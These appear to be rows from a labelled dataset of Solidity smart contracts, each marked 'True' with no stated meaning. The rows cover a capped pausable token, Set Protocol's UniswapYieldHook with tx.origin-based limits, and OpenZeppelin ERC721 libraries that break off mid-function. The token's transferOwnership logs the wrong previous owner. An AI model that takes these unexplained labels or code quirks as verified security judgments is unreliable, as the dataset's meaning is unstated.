allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) whenNotPaused public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount); // -- 0x0 means mint.
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function reclaimToken(TimetechToken token) onlyOwner external {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(TimetechToken token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(TimetechToken token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(TimetechToken token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
} | True | [
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// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/GSN/Context.sol
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: contracts/interfaces/ISetToken.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// pragma solidity 0.6.10;
// pragma experimental "ABIEncoderV2";
// import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
// Dependency file: contracts/interfaces/INAVIssuanceHook.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// pragma solidity 0.6.10;
// import { ISetToken } from "./ISetToken.sol";
interface INAVIssuanceHook {
function invokePreIssueHook(
ISetToken _setToken,
address _reserveAsset,
uint256 _reserveAssetQuantity,
address _sender,
address _to
)
external;
function invokePreRedeemHook(
ISetToken _setToken,
uint256 _redeemQuantity,
address _sender,
address _to
)
external;
}
// Dependency file: contracts/lib/AddressArrayUtils.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.6.0;
// import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
// import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
// import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
// import { INAVIssuanceHook } from "../interfaces/INAVIssuanceHook.sol";
// import { ISetToken } from "../interfaces/ISetToken.sol";
contract UniswapYieldHook is INAVIssuanceHook, Ownable {
using AddressArrayUtils for address[];
/* ============ State Variables ============ */
mapping(address => uint256) public assetLimits;
address[] public assets;
/* ============ Constructor ============ */
constructor(address[] memory _assets, uint256[] memory _limits) public {
require(_assets.length == _limits.length, "Arrays must be equal");
require(_assets.length != 0, "Array must not be empty");
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(assetLimits[asset] == 0, "Asset already added");
assetLimits[asset] = _limits[i];
}
assets = _assets;
}
/* ============ External Functions ============ */
function invokePreIssueHook(
ISetToken /*_setToken*/,
address _reserveAsset,
uint256 _reserveAssetQuantity,
address _sender,
address /*_to*/
)
external
override
{
if (_sender != tx.origin) {
require(
_reserveAssetQuantity <= assetLimits[_reserveAsset],
"Issue size too large for call from contract."
);
}
}
function invokePreRedeemHook(
ISetToken _setToken,
uint256 _redeemQuantity,
address _sender,
address /*_to*/
)
external
override
{
if (_sender != tx.origin) {
require(
_redeemQuantity <= assetLimits[address(_setToken)],
"Redeem size too large for call from contract."
);
}
}
function addAssetLimit(address _asset, uint256 _newLimit) external onlyOwner {
require(assetLimits[_asset] == 0, "Asset already added");
assetLimits[_asset] = _newLimit;
assets.push(_asset);
}
function editAssetLimit(address _asset, uint256 _newLimit) external onlyOwner {
require(assetLimits[_asset] != 0, "Asset not added");
assetLimits[_asset] = _newLimit;
}
function removeAssetLimit(address _asset) external onlyOwner {
require(assetLimits[_asset] != 0, "Asset not added");
delete assetLimits[_asset];
assets = assets.remove(_asset);
}
/* ============ Getters ============ */
function getAssets() external view returns(address[] memory) { return assets; }
} | True | [
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
